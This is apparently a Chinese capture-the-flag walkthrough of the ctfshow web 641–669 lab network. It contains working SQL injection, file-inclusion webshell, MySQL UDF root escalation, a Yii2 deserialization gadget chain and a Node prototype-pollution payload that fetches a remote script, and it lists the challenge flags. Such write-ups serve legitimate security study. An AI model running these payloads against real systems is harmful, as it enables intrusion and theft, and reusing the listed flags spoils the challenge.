页面明文flag
web 641
首页http头
web 642首页查看源码,发现可疑路径
/system36d/static/css/start.css
访问/system36d,需要登录,抓包
得到flag
web 644进入登陆页面/system36d/login.php
需要输入密码开门,查看js文件,发现密码为0x36D
输入密码后得到flag
web 645备份数据,数据中存在flag
web 643在网络测试功能当中可以执行命令,抓包修改测试命令为ls
发现secret.txt,访问得到一串url编码
解码得到flag
web 646在系统更新处填入645的flag,进行权限验证后远程更新
此时抓一下远程更新的包
这里存在远程请求文件,很像文件包含,尝试读一下文件

确实可以,我们依次读取一下web 643中得到的文件
checklogin.php
}else{ header('location:/system36d/'); die(); }
util/common.php
die('651flag未拿到'); } if(isset($_POST['file']) && file_exists($_POST['file'])){ if(db::get_key()==$_POST['key']){ include __DIR__.DIRECTORY_SEPARATOR.$_POST['file']; } }
util/dbutil.php
private static $host='localhost'; private static $username='root'; private static $password='root'; private static $database='ctfshow'; private static $conn; public static function get_key(){ $ret = ''; $conn = self::get_conn(); $res = $conn->query('select `key` from ctfshow_keys'); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['key']; self::close(); return $ret; } public static function get_username($id){ $ret = ''; $conn = self::get_conn(); $res = $conn->query("select `username` from ctfshow_users where id = ($id)"); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['username']; self::close(); return $ret; } private static function get_conn(){ if(self::$conn==null){ self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database); } return self::$conn; } private static function close(){ if(self::$conn!==null){ self::$conn->close(); } } }
users.php
case 'list': $ret = getUsers($data,intval($_GET['page']),intval($_GET['limit'])); break; case 'add': $ret = addUser($data,$_GET['username'],$_GET['password']); break; case 'del': $ret = delUser($data,$_GET['username']); break; case 'update': $ret = updateUser($data,$_GET['username'],$_GET['password']); break; case 'backup': backupUsers(); break; case 'upload': $ret = recoveryUsers(); break; case 'phpInfo': $ret = phpInfoTest(); break; case 'netTest': $ret = netTest($_GET['cmd']); break; case 'remoteUpdate': $ret = remoteUpdate($_GET['auth'],$_GET['update_address']); break; case 'authKeyValidate': $ret = authKeyValidate($_GET['auth']); break; case 'evilString': evilString($_GET['m']); break; case 'evilNumber': evilNumber($_GET['m'],$_GET['key']); break; case 'evilFunction': evilFunction($_GET['m'],$_GET['key']); break; case 'evilArray': evilArray($_GET['m'],$_GET['key']); break; case 'evilClass': evilClass($_GET['m'],$_GET['key']); break; default: $ret = json_encode(array( 'code'=>0, 'message'=>'数据获取失败', )); break; } echo $ret; function getUsers($data,$page=1,$limit=10){ $ret = array( 'code'=>0, 'message'=>'数据获取成功', 'data'=>array() ); $isadmin = '否'; $pass = ''; $content='无'; $users = explode('|', $data); array_pop($users); $index = 1; foreach ($users as $u) { if(explode('@', $u)[0]=='admin'){ $isadmin = '是'; $pass = 'flag就是管理员的密码,不过我隐藏了'; $content = '删除此条记录后flag就会消失'; }else{ $pass = explode('@', $u)[1]; } array_push($ret['data'], array( 'id'=>$index, 'username'=>explode('@', $u)[0], 'password'=>$pass, 'isAdmin'=>$isadmin, 'content'=>$content )); $index +=1; } $ret['count']=$index; $start = ($page-1)*$limit; $ret['data']=array_slice($ret['data'], $start,$limit,true); return json_encode($ret); } function addUser($data,$username,$password){ $ret = array( 'code'=>0, 'message'=>'添加成功' ); if(existsUser($data,$username)==0){ $s = $data.$username.'@'.$password.'|'; file_put_contents(DB_PATH, $s); }else{ $ret['code']=-1; $ret['message']='用户已存在'; } return json_encode($ret); } function updateUser($data,$username,$password){ $ret = array( 'code'=>0, 'message'=>'更新成功' ); if(existsUser($data,$username)>0 && $username!='admin'){ $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', $username.'@'.$password.'|', $data); file_put_contents(DB_PATH, $s); }else{ $ret['code']=-1; $ret['message']='用户不存在或无权更新'; } return json_encode($ret); } function delUser($data,$username){ $ret = array( 'code'=>0, 'message'=>'删除成功' ); if(existsUser($data,$username)>0 && $username!='admin'){ $s = preg_replace('/'.$username.'@[0-9a-zA-Z]+\|/', '', $data); file_put_contents(DB_PATH, $s); }else{ $ret['code']=-1; $ret['message']='用户不存在或无权删除'; } return json_encode($ret); } function existsUser($data,$username){ return preg_match('/'.$username.'@[0-9a-zA-Z]+\|/', $data); } function backupUsers(){ $file_name = DB_PATH; if (! file_exists ($file_name )) { header('HTTP/1.1 404 NOT FOUND'); } else { $file = fopen ($file_name, "rb" ); Header ( "Content-type: application/octet-stream" ); Header ( "Accept-Ranges: bytes" ); Header ( "Accept-Length: " . filesize ($file_name)); Header ( "Content-Disposition: attachment; filename=backup.dat"); echo str_replace(FLAG645, 'flag就在这里,可惜不能给你', fread ( $file, filesize ($file_name))); fclose ( $file ); exit (); } } function getArray($total, $times, $min, $max) { $data = array(); if ($min * $times > $total) { return array(); } if ($max * $times < $total) { return array(); } while ($times >= 1) { $times--; $kmix = max($min, $total - $times * $max); $kmax = min($max, $total - $times * $min); $kAvg = $total / ($times + 1); $kDis = min($kAvg - $kmix, $kmax - $kAvg); $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2; $k = round($kAvg + $r); $total -= $k; $data[] = $k; } return $data; } function recoveryUsers(){ $ret = array( 'code'=>0, 'message'=>'恢复成功' ); if(isset($_FILES['file']) && $_FILES['file']['size']<1024*1024){ $file_name= $_FILES['file']['tmp_name']; $result = move_uploaded_file($file_name, DB_PATH); if($result===false){ $ret['message']='数据恢复失败 file_name'.$file_name.' DB_PATH='.DB_PATH; } }else{ $ret['message']='数据恢复失败'; } return json_encode($ret); } function phpInfoTest(){ return phpinfo(); } function authKeyValidate($auth){ $ret = array( 'code'=>0, 'message'=>$auth==substr(FLAG645, 8)?'验证成功':'验证失败', 'status'=>$auth==substr(FLAG645, 8)?'0':'-1' ); return json_encode($ret); } function remoteUpdate($auth,$address){ $ret = array( 'code'=>0, 'message'=>'更新失败' ); if($auth!==substr(FLAG645, 8)){ $ret['message']='权限key验证失败'; return json_encode($ret); }else{ $content = file_get_contents($address); $ret['message']=($content!==false?$content:'地址不可达'); } return json_encode($ret); } function evilString($m){ $key = '372619038'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE){ echo shell_exec('cat /FLAG/FLAG647'); }else{ echo 'you are not 372619038?'; } } function evilClass($m,$k){ class ctfshow{ public $m; public function construct($m){ $this->$m=$m; } } $ctfshow=new ctfshow($m); $ctfshow->$m=$m; if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){ echo shell_exec('cat /FLAG/FLAG648'); }else{ echo 'mmmmm?'; } } function evilNumber($m,$k){ $number = getArray(1000,20,10,999); if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){ echo shell_exec('cat /FLAG/FLAG649'); }else{ echo 'number is right?'; } } function evilFunction($m,$k){ $key = 'ffffffff'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){ echo shell_exec('cat /FLAG/FLAG650'); }else{ echo 'you are not ffffffff?'; } } function evilArray($m,$k){ $arrays=unserialize($m); if($arrays!==false){ if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){ echo shell_exec('cat /FLAG/FLAG651'); }else{ echo 'array?'; } } } function netTest($cmd){ $ret = array( 'code'=>0, 'message'=>'命令执行失败' ); if(preg_match('/^[A-Za-z]+$/', $cmd)){ $res = shell_exec($cmd); stripos(PHP_OS,'WIN')!==FALSE?$ret['message']=iconv("GBK", "UTF-8", $res):$ret['message']=$res; } return json_encode($ret); }
最终flag在init.php当中
function evilString($m){ $key = '372619038'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE){ echo shell_exec('cat /FLAG/FLAG647'); }else{ echo 'you are not 372619038?'; } }
利用数组绕过,null!==false
/users.php?action=evilString&m=getallheadersweb 648
function evilClass($m,$k){ class ctfshow{ public $m; public function construct($m){ $this->$m=$m; } } $ctfshow=new ctfshow($m); $ctfshow->$m=$m; if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){ echo shell_exec('cat /FLAG/FLAG648'); }else{ echo 'mmmmm?'; } }
可变变量的覆盖
/users.php?action=evilClass&m=1&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}web 649
function evilNumber($m,$k){ $number = getArray(1000,20,10,999); if($number[$m]==$m && $k==shell_exec('cat /FLAG/FLAG648')){ echo shell_exec('cat /FLAG/FLAG649'); }else{ echo 'number is right?'; } }
其中getArray函数如下,生成和值一定的随机数序列函数
function getArray($total, $times, $min, $max) { $data = array(); if ($min * $times > $total) { return array(); } if ($max * $times < $total) { return array(); } while ($times >= 1) { $times--; $kmix = max($min, $total - $times * $max); $kmax = min($max, $total - $times * $min); $kAvg = $total / ($times + 1); $kDis = min($kAvg - $kmix, $kmax - $kAvg); $r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2; $k = round($kAvg + $r); $total -= $k; $data[] = $k; } return $data; }
利用NULL绕过
/users.php?action=evilNumber&m=&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}web 650
function evilFunction($m,$k){ $key = 'ffffffff'; $content = call_user_func($m); if(stripos($content, $key)!==FALSE && $k==shell_exec('cat /FLAG/FLAG649')){ echo shell_exec('cat /FLAG/FLAG650'); }else{ echo 'you are not ffffffff?'; } }
同样null绕过
/users.php?action=evilFunction&m=getallheaders&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}web 651
function evilArray($m,$k){ $arrays=unserialize($m); if($arrays!==false){ if(array_key_exists('username', $arrays) && in_array('ctfshow', get_object_vars($arrays)) && $k==shell_exec('cat /FLAG/FLAG650')){ echo shell_exec('cat /FLAG/FLAG651'); }else{ echo 'array?'; } } }
构造一个内部类
class a{ public $username='snakin'; public $snakin="ctfshow"; } $a=new a(); echo serialize($a);
payload:
/users.php?action=evilArray&m=O:1:"a":2:{s:8:"username";s:6:"snakin";s:6:"snakin";s:7:"ctfshow";}&key=flag_650=ctfshow{5eae22d9973a16a0d37c9854504b3029}web 652
在dbutil中有sql注入
public static function get_username($id){ $ret = ''; $conn = self::get_conn(); $res = $conn->query("select `username` from ctfshow_users where id = ($id)"); if($res){ $row = $res->fetch_array(MYSQLI_ASSOC); } $ret = $row['username']; self::close(); return $ret; }
调用点在page.php
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php'; $id = isset($_GET['id'])?$_GET['id']:'1'; //转义' " \ 来实现防注入 $id = addslashes($id); $name = db::get_username($id);
paylaod
?id=-1) union select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77%23 ?id=-1) union select group_concat(column_name) from information_schema.columns where table_name=0x63746673686f775f736563726574%23 ?id=-1) union select secret from ctfshow_secret%23web 653
在common.php存在一个文件包含点
die('651flag未拿到'); } if(isset($_POST['file']) && file_exists($_POST['file'])){ if(db::get_key()==$_POST['key']){ include __DIR__.DIRECTORY_SEPARATOR.$_POST['file']; } }
在db备份文件写入一句话()之后通过管理页面的备份恢复功能上传
-
在init.php得到了db文件位置,/db/data_you_never_know.db
-
在page.php的注入点得到了db::get_key()的值:key_is_here_you_know
union select `key` from ctfshow_keys%23
包含一句话木马RCE
/system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6} POST: key=key_is_here_you_know&file=../db/data_you_never_know.db
蚁剑连接
之后执行命令cat /secret.txt,flag在根目录
web 654查看配置文件ls /etc
有可疑文件sudoers.bak,查看
这里mysql为特权用户,考虑udf提权
利用蚁剑上传udf到/var/www/html/system36d/util/udf.so
移动到/usr/lib/mariadb/plugin/udf.so
这里由于知道mysql的账户密码,我们直接蚁剑连接
接下来依次执行
create function sys_eval returns string soname 'udf.so'; select * from mysql.func where name = 'sys_eval'; select sys_eval('sudo ls /root'); select sys_eval('sudo cat /root/you_win');
得到flag
至此第一台服务器已经拿下,总结一下信息:
项目 值 备注 服务器名称 web dns可解析 flag FLAG641-654 共15个flag 主机ip 172.2.255.4 开放端口 80 9000 3306 nginx php-fpm mysql 外网访问 否 最高以获得权限 root 数据库类型 mysql 数据库权限 root 账号:密码 root:root web 655查看一下网卡信息
扫一下存活主机,发现1-7存活,其中172.2.92.5存在http服务
echo `curl http://172.2.92.5/` //{"code":0,"message":"数据获取失败"}
对常见的目录进行扫描,发现phpinfo,www.zip
echo `wget http://172.2.92.5/www.zip` echo `wget http://172.2.92.5/phpinfo.php`
在phpinfo中有flag
web 656将上一题得到的www.zip下载到本地
其中是index.php
case 'login': $ret = login($_GET['u'],$_GET['p']); break; case 'index': $ret = index(); break; case 'main': $ret = main($_GET['m']); break; default: $ret = json_encode(array( 'code'=>0, 'message'=>'数据获取失败', )); break; } echo $ret; function index(){ $html='管理员请注意,下面是最近登陆失败用户: '; $ret=db::query('select username,login_time,login_ip from ctfshow_logs order by id desc limit 3'); foreach ($ret as $r) { $html .='------------ 用户名: '.htmlspecialchars($r[0]).' 登陆失败时间: ' .$r[1] .' 登陆失败IP: ' .$r[2]. ' ------------ '; } return $html; } function login($u,$p){ $ret = array( 'code'=>0, 'message'=>'数据获取失败', ); $u = addslashes($u); $p = addslashes($p); $res = db::query("select username from ctfshow_users where username = '$u' and password = '$p'"); $date = new DateTime('now'); $now = $date->format('Y-m-d H:i:s'); $ip = addslashes(gethostbyname($_SERVER['HTTP_X_FORWARDED_FOR'])); if(count($res)==0){ db::insert("insert into `ctfshow_logs` (`username`,`login_time`,`login_ip`) values ('$u','$now','$ip')"); $ret['message']='账号或密码错误'; return json_encode($ret); } if(!auth()){ $ret['message']='AuthKey 错误'; }else{ $ret['message']='登陆成功'; $_SESSION['login']=true; $_SESSION['flag_660']=$_GET['flag']; } return json_encode($ret); } function auth(){ $auth = base64_decode($_COOKIE['auth']); return $auth==AUTH_KEY; } function getFlag(){ return FLAG_657; } function testFile($f){ $result = ''; $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php'; if(file_exists($file)){ $result = FLAG_658; } return $result; } function main($m){ $ret = array( 'code'=>0, 'message'=>'数据获取失败', ); if($_SESSION['login']==true){ switch ($m) { case 'getFlag': $ret['message']=getFlag(); break; case 'testFile': $ret['message']=testFile($_GET['f']); break; default: # code... break; } }else{ $ret['message']='请先登陆'; } return json_encode($ret); }
审计代码:
function index(){ $html='管理员请注意,下面是最近登陆失败用户: '; $ret=db::query('select username,login_time,login_ip from ctfshow_logs order by id desc limit 3'); foreach ($ret as $r) { $html .='------------ 用户名: '.htmlspecialchars($r[0]).' 登陆失败时间: ' .$r[1] .' 登陆失败IP: ' .$r[2]. ' ------------ '; } return $html; }
这里存在一个XSS的点,我们可以通过跳板机http服务监听数据
$result = ''; $file = $f.md5(md5(random_int(1,10000)).md5(random_int(1,10000))).'.php'; if(file_exists($file)){ $result = FLAG_658; } return $result; }
file_exists()函数可以访问ftp上的文件,那么我们可以起一个ftp服务器,无论请求任何文件都返回文件存在
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 21)) s.listen(1) print('listening 0.0.0.0 21\n') conn, addr = s.accept() conn.send(b'220 a\n') conn.send(b'230 a\n') conn.send(b'200 a\n') conn.send(b'200 a\n') conn.send(b'200\n') conn.send(b'200 a\n') conn.send(b'200\n') conn.send(b'200 a\n') conn.close()
执行21端口监听
select sys_eval('sudo nohup python3 /var/www/html/ftp.py > /tmp/error.log 2>&1 &');
绕过文件检查
select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5/index.php?action=main&m=testFile&f=ftp://172.2.82.4/aa"');
扫描目录发现robots.txt
echo `wget http://172.2.82.5/robots.txt`
发现可以访问public目录,尝试目录穿越
select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5/public../"');
存在FLAG目录,访问
echo `curl http://172.2.82.5/public../FLAG/flag659.txt`;
得到flag
web 660if(!auth()){ $ret['message']='AuthKey 错误'; }else{ $ret['message']='登陆成功'; $_SESSION['login']=true; $_SESSION['flag_660']=$_GET['flag']; }
由此可知flag位置为session存储位置:/tmp/sess_5g9mf7lpdv4m5tnhg54sbejgp8
之后可RCE拿
当然也可以直接查看nginx日志文件
select sys_eval('sudo curl http://172.2.82.5/public../var/log/nginx/ctfshow_web_access_log_file_you_never_know.log');web 661
目录穿越可得
echo `curl http://172.2.82.5/public../home/flag/secret.txt`web 662
访问当前用户www-data的家目录,发现creater.sh
select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5/public../home/www-data/creater.sh"');
得到
#!/bin/sh file=`echo $RANDOM|md5sum|cut -c 1-3`.html echo 'flag_663=ctfshow{xxxx}' > /var/www/html/$fil
这里需要爆破三位数文件名
传一个sql命令执行文件:
"sql": payload,} r = requests.post(url=url, data=data) m=r.text print(r.text) if('404' not in m): break if ('404' not in m): break if ('404' not in m): break if ('404' not in m): break
访问第二台主机的phpinfo
发现存在ctfshow拓展
同时得到拓展目录
/usr/local/lib/php/extensions/no-debug-non-zts-20180731
下载下来
select sys_eval('sudo wget http://172.2.82.5/public../usr/local/lib/php/extensions/no-debug-non-zts-20180731/ctfshow.so -O /var/www/html/ctfshow.so && sudo chmod 777 /var/www/html/ctfshow.so');
strings一下
查看nginx配置文件
daemon off; worker_processes auto; error_log /var/log/nginx/ctfshow_web_error_log_file_you_never_know.log warn; events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; log_format main '[$time_local]:$remote_addr-$request-$status'; access_log /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log main; server { listen 80; server_name localhost; root /var/www/html; index index.php; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location /public { autoindex on; alias /public/; } location ~ \.php$ { try_files $uri =404; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } } server { listen 8888; server_name oa; root /var/oa/web; index index.php; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location /{ index index.php; autoindex off; } location ~ \.php$ { try_files $uri =404; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } } }
发现8888端口打开
访问发现表单中存在反序列化操作
反序列化拿shell
select sys_eval('sudo curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "UnserializeForm[ctfshowUnserializeData]=O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A16%3A%22yii%5Cgii%5CCodeFile%22%3A3%3A%7Bs%3A9%3A%22operation%22%3BN%3Bs%3A4%3A%22path%22%3Bs%3A28%3A%22%2Fvar%2Foa%2Fweb%2Fassets%2Fshell.php%22%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7Di%3A1%3Bs%3A4%3A%22save%22%3B%7Ds%3A2%3A%22id%22%3Bs%3A0%3A%22%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7Ds%3A40%3A%22%00Codeception%5CExtension%5CRunProcess%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A16%3A%22yii%5Cgii%5CCodeFile%22%3A3%3A%7Bs%3A9%3A%22operation%22%3BN%3Bs%3A4%3A%22path%22%3Bs%3A28%3A%22%2Fvar%2Foa%2Fweb%2Fassets%2Fshell.php%22%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7Di%3A1%3Bs%3A4%3A%22save%22%3B%7Ds%3A2%3A%22id%22%3Bs%3A0%3A%22%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D" "http://172.2.82.5:8888/index.php?r=site%2Funserialize&key=flag_663%3Dctfshow%7Bfa5cc1fb0bfc986d1ef150269c0de197%7D"');
查看phpinfo发现ban掉了一些函数
扫描目录发现flag位置,读取
select sys_eval('sudo curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "1=print_r(file_get_contents(chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(102).chr(108).chr(97).chr(103).chr(54).chr(54).chr(52).chr(46).chr(112).chr(104).chr(112)));" "http://172.2.82.5:8888/assets/shell.php"');
目录中有
echo `curl http://172.2.82.5/public../FLAG665`
上面是非预期,接下来是预期解
利用file_put_contents实现ssrf绕过函数禁用和目录限制
web 666连接数据库获取flag
sql.txt
1=$conn = new mysqli('localhost','root','root','ctfshow'); $res = $conn->query("select * from ctfshow_secret"); if($res){ $row=$res->fetch_array(MYSQLI_BOTH); } echo $row[0]; $conn->close();
select sys_eval('sudo curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d @/tmp/sql.txt "http://172.2.82.5:8888/assets/shell.php"');
扫描端口
echo `curl -H "Content-Type: application/x-www-form-urlencoded" -X POST -d "1=file_put_contents('scan.php',base64_decode('PD9waHAKaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOwpmb3IoJGk9MDskaTw2NTUzNTskaSsrKSB7CiAgJHQ9c3RyZWFtX3NvY2tldF9zZXJ2ZXIoInRjcDovLzAuMC4wLjA6Ii4kaSwkZWUsJGVlMik7CiAgaWYoJGVlMiA9PT0gIkFkZHJlc3MgYWxyZWFkeSBpbiB1c2UiKSB7CiAgICB2YXJfZHVtcCgkaSk7CiAgfQp9'));" "http://172.2.82.5:8888/assets/shell.php"`; //base64: <?php highlight_file(__FILE__); for($i=0;$i<65535;$i++) { $t=stream_socket_server("tcp://0.0.0.0:".$i,$ee,$ee2); if($ee2 === "Address already in use") { var_dump($i); } }
发现3000端口开放,读主页
select sys_eval('sudo curl --cookie "PHPSESSID=5g9mf7lpdv4m5tnhg54sbejgp8;" "http://172.2.82.5:3000"');web 668
题目有源码
/login utils.copy(user.userinfo,req.body); function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } } ```
原型链污染
{"__proto__":{"__proto__":{"type":"MixinBlock","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').execSync('cp ~/secret.txt ~/public/1.txt && mv ~/nodestartup.sh ~/1 && wget http://web/nodestartup.sh')"}}}web 669
等一分钟
拿到/root/you_win
很早之前就想做了,但一直没有时间,陆陆续续做了几天,基本完成。其中668,669题目刚好环境没续上。但是搭建前置环境又太过麻烦就稍微偷了一点懒。后面有时间看看会不会补上。感谢大菜鸡师傅贡献出的如此优秀的题目,我始终相信着,此刻的坚持,是未来发出的光!
参考:
https://shimo.im/docs/3XYdJp3RwQw6kHCx/read
http://www.yongsheng.site/2022/03/30/ctfshow%20%E7%BB%88%E6%9E%81%E8%80%83%E6%A0%B8/